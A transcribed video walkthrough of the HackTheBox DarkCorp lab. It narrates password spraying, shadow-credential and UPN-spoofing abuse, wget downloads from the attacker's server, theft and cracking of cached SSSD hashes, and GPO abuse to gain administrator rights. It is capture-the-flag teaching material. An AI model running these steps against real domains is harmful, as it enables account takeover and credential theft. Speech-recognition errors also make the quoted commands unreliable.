We have to proxy change it. uh dash u usernames dashp enter this password and say continue on success and this should start a spray and we'll see if this password is to anything uh John W. So now we have access as John W. Let's go back into Blood Hound John W and then mark them as owned and let's see let's go to outbound object control and we have generic right over Angela W.

HackTheBox - DarkCorp


Right. So this is going to be important. Um we can take over her account but there's going to be something else we can do. Look at the outbound object writes to Angela. Nothing really there. Um, let's see. There should be another cipher query I should have ran. Let's see.

HackTheBox - DarkCorp


Tier zero highv value targets. We ran this before. Did I miss something? I don't think so.

HackTheBox - DarkCorp


Let's see. Um, if we just look at all the groups.

HackTheBox - DarkCorp


So, if we cat, let's see, domain computers, GPUs, groups. I'm sure if we run a bunch of the cipher queries, we'd eventually see it. But, um, this is going to be easier.

HackTheBox - DarkCorp


Name uh pre-windows. Okay. Where is it? data properties name. Okay, this is going to be all the groups. Let's see. So, we got the GPU manager group. There's also a Linux admins group. So, Linux admins are probably going to be the ones that can log into the Linux machine, right? So, let's look at Linux admins.

HackTheBox - DarkCorp


So, we go here. We got Linux admins U members and we got um Taylor B admin and Angela W admin. Now this is very dangerous like when you have the Linux admins um lined up to be able to log into a Linux box and there's someone with generic right. We can do a big domain spoof of this. Um the actual thing or article we're going to use is um what is it like broken marriage Kerro stacks. I think I don't want to use AI mode. This should get me to like an article and pen test partners. I want to say yeah. Uh this is the presentation but this is essentially what we're going to be doing. Um, so if you're confused, I would read this, but um, essentially they're in Linux, it'll either use the SAM account name to login or UPN, the user principle name. Um, it's very similar to I want to say it's ESC3 where we hijack the UPN. But when we create a ticket and we specify the NT enterprise,

HackTheBox - DarkCorp


it's going to use the UPN. And that is important because you can bypass a unique constraint over the user principle name. Normally, like if you use SAM account name, you can't really ever duplicate something, right? Because the SAM account name is always always always just going to be the username.

HackTheBox - DarkCorp


Um, if we go back to Blood Hound, SAM account name is just that, right? But the user principal name can either be the username or username at domain. And by default, all the domain users UPN is going to be username at domain. And on Linux machines in certain configurations, if you set it to NT Enterprise as the ticket type and you just give it the username as the UPN, it'll trust that name and let you log in. And you can bypass the unique constraint because the UPN for the account you overwrote doesn't conflict with the actual user's UPN because you're not using the fully qualified name. Hopefully that makes sense, right? But that's going to be what we do. So as John We are going to okay as John and my thing is weird. We're going to abuse this generic right to Angela and we're going to change her UPN to be Angela Wadm. Then we're going

HackTheBox - DarkCorp


to get her password. We're going to create a ticket and use that ticket to log into the box. So let's go ahead and do this. Um first we're going to use Certifi. So, I'm going to do proxy chains shadow um auto john at uh john w at darkcorp.htb password. Do I still have it? Darn it.

HackTheBox - DarkCorp


Um I should probably put that on my creds.ext. I'm going to be lazy and hope it doesn't bite me. Uh we got that password there. And then after this, we want to specify the DCIP. DC1 dot not 091 dark corp.htb um and then the account is going to be Angela W.

HackTheBox - DarkCorp


Uh what? Oh, I did not terminate one of the single quotes uh name server instance. Let's do was it slash or dash um ns 172621.

HackTheBox - DarkCorp


So hopefully this works. Um, there we go. So there we go. We have Angela W's NLM hash. Uh, what we want to do now is also update her account. And we could use Bloody AD to do this, but um I'm just going to do it all within Certifi.

HackTheBox - DarkCorp


So let's do uh Certify account update.

HackTheBox - DarkCorp


And let's see, that's the user. That's the password. Um, we want to specify the user of Angela W. And we want to change her UPN to be Angela Wadm. And I think I got rid of the name server 1721621 DCIP. It's quicker to type the IP instead of the domain name. Let's see. think we have updated there we go. So we have updated her name. So what we want to do now is use impact to get the ticket for that account. So we do get TGT set the principle to NT enterprise and then the hashes. This is going to be Angela's um password, right? And then we want to say it's at darkcorp.htb HTB and then give her UPN to authenticate um principle what uh let's see I didn't proxy change it principal unknown I wonder if this version of Impact doesn't have it. Um, let's see. Do I have another one installed here? I do. Um, let's try get

HackTheBox - DarkCorp


tgt.py. There we go. Um, since it took a while, I'm just going to run this again, see if it fails, and then we're going to get it. I'm not sure if like a cleanup script overwrote it. So, now we have this CC cache. So, I'm going to copy this over to the box. So, let's do copy Angela Wadm dubdubdub go in dubdubdub python 3m http server.

HackTheBox - DarkCorp


And then what I want to do is find web sh. So now we're back on the Linux server. I'm going to um wget http 10 10 10 15 or 148 8000 was it angel wadm.cc cache. There we go. It's saved. So I'm going to do export. If I just do klist now I don't have any credentials, right? So I'm going to do export KB5 CC name is equal to this CC cache. If I do klist now um we have that ticket. So if I do a ksu um let's see ksuangela.w.adm.

HackTheBox - DarkCorp


There we go. We have successfully switched to her UPN, right? And now since we're that user, we're a member of Linux admins, we have pseudo access. So I can just do pseudo su and now we are root. So hopefully you guys understood what was happening there. We um used John overwrote Angela W's UPN to conflict of Angela Wadm that put us in the Linux admin group. Then we got ATGT of that account specifying the NT enterprise which told Linux to use the UPN not SAM account name to authenticate and that let us log in right um I bet maybe if I do one thing it may make more sense um if we go back to this certify command and let's see where do we do this if we try to update her to be Angela wadm dartcp.htb HTB.

HackTheBox - DarkCorp


This is I thought it was going to fail. Um, Dart Corp. Maybe Macket just doesn't fail doing that. I could have swore this would get like a name constraint failure. Um, it doesn't. I don't know what's going on. Maybe Certifi is smart enough and just taking off that dark corp.htb HDB.

HackTheBox - DarkCorp


Um, something odd is there. Uh, but normally you can't have duplicate SPNs, at least to my knowledge. Uh, but let's go back now that we are root. Um, so let's see if I go back here. I'm just going to take this sock proxy off so we don't get this occasional error. Um, let's see. So as root, we could go Etsy and SSSD. I forget what this stands for, but this is going to be the um way most Linux machines connect to Active Directory. If you're on a really old Linux machine, it'll probably be something called win bind, but most modern things use SSD. And if we c this config, we can see cache credentials is set to true. So since those are true, that means the credentials will be stored on the box. Um, so that's probably going to be SSSD db and the credentials are probably in this file. So if I do a strings on this, um, we should be able to get a hash out

HackTheBox - DarkCorp


of here. Um, the hashes are going to be brypted. So I'm going to grap for uh, dollar6 I think is the normal thing. There we go. We have one hash. So I'm going to copy this back to my computer. uh v hash.ext, I guess. Save that. But I also want to show what we could do. Um let's copy this file. I'm just going to cp this to dev shm chmod 777 this file. Then we should be able to just SCP this, right?

HackTheBox - DarkCorp


SCP- PG Postgress at 1721623.

HackTheBox - DarkCorp


Oh, we can just do 10 10 1154 I think it was it dev right. Yes, it is. And I can use a program called uh TDB dump. There's also like LD dump. I think it'll probably be on OXDF's blog, but I had trouble actually getting that running on my machine. It makes it a little bit prettier, but this shows each entry in a bit better format than strings did, right? We can see the DN of administrator and then all the information here. So, if we just pipe this over to less and then I'm going to search for um dollar6.

HackTheBox - DarkCorp


There we go. I'm in less dash s. Um let's get rid of that.

HackTheBox - DarkCorp


Uh where is dollar6? There we go. So we can see the DN Taylor B ADM and we have this hash that is the same hash that I had just grabbed through strings. So two ways to do that. Um but now let's go ahead ahead and crack this. So I'm going to go over to a box on my network I call the Kraken. Um you can crack on anything. I normally just don't like cracking on VMs because it goes slow. But um this is a box that's just on my network. I don't like cracking one on the same machine I'm recording which because it can lead to like drop frames and things like that. So let's do v hashes. I'm just going to call this dark corp. Paste in this hash and then dot /hashcat hashes opt word list rocku and let's see if it auto detects the hash. That is my favorite feature that's come to hashcat in quite a while. Um and if it conflicts with multiple hashes

HackTheBox - DarkCorp


then we can always pick which one we want. But normally with brypt it normally does not right. We can see um it picked mode 1800 shaw 512 crypt. So it already recovered one. If we look at it it got this password looks like a keyboard walk. And this was what user was this um it's where the TDB dump was performed. It was the ADM account of Taylor I want to say. Um TDB dollar6. So, Taylor Badm. So, let's see what that account is. So, Taylor Badm.

HackTheBox - DarkCorp


And if you're thinking like, why can't we just do the same trick to get onto the Windows machine that we did Linux?

HackTheBox - DarkCorp


And that's because Windows always checks the domain with the UPN. You can't just edit the UPN and magically get it. Um, I think it actually uses like the um user SID and other information. So um it doesn't trust certificates as easily as Linux does. But let's see we are outbound control. We're a member of GPO managers and that has the right dackle to this security updates GPL. So let's see if we have um access to this. So, I'm going to do evil winr RM- I 17220 uh 1621- Urb-P uh that's not the password.

HackTheBox - DarkCorp


Let's see. It is up here. I probably could just tried typing this keyboard walk, but I definitely mess it up. Put this in. uh we want to do a proxy chains and once this gets connected let's go to program data and then I normally use sharp gopo abuse so let's do that I'm going to cp opt collection um net framework 47 any sharp gopo abuse let's w get that so w get http 1010 101488000 sharp GPO abuse.exe- sharp GPO abuse.exe. So, we're going to download this and unable to connect Python 3 MHttp server.

HackTheBox - DarkCorp


Start that back up. Download it. And if we try to execute it, it contains a virus. So, Windows Defender is flagging it. We could try to opuscate this, but we could also just opt to not run the um tools on the Windows computer altogether. And that's what I'm going to do. So, um I'm going to go back over to GitHub and I'm going to do Python GPO abuse.

HackTheBox - DarkCorp


Uh we have this library pi gopo abuse. Let's download this. So let's go get clone download it. Pygpo abuse.

HackTheBox - DarkCorp


Let's just see if I can execute it without having to install packages.

HackTheBox - DarkCorp


Uh no module. So let's do python 3-mv.

HackTheBox - DarkCorp


And then we'll to do the source activate it. So source VM bin activate pip 3 install-r requirements.ext and then while this installs let's see we do python domain user and then give it the go ID.

HackTheBox - DarkCorp


uh we have to do cleanup and there is also a flag to do a command and I'm going to do the command. If we just did the default, it tries to create a new user. Let's see.

HackTheBox - DarkCorp


I think it says in the help um is it John?

HackTheBox - DarkCorp


Yeah, it creates the new user John and the password of hacksor123 dot. So that's the default one, but I'm not going to do default. Python 3 pi GPU abuse.py.

HackTheBox - DarkCorp


Awesome. So let's see. We need to specify um the user. So dart corp.htb tailorb and then the password. Um I think that's one qaz then up this way.

HackTheBox - DarkCorp


And let's see, we got to give it the GPO ID and we can get that from impact or not impact blood hound. So this GPO updates object ID. So give it that.

HackTheBox - DarkCorp


And then after this, we want to give it a command, I think. Um, there we go.

HackTheBox - DarkCorp


Command. So I'm just going to add my user into local admins. So we'll do net local group administrators tailorb ADM slash add.

HackTheBox - DarkCorp


And that should be it for the command. I'm going to put that in double quotes.

HackTheBox - DarkCorp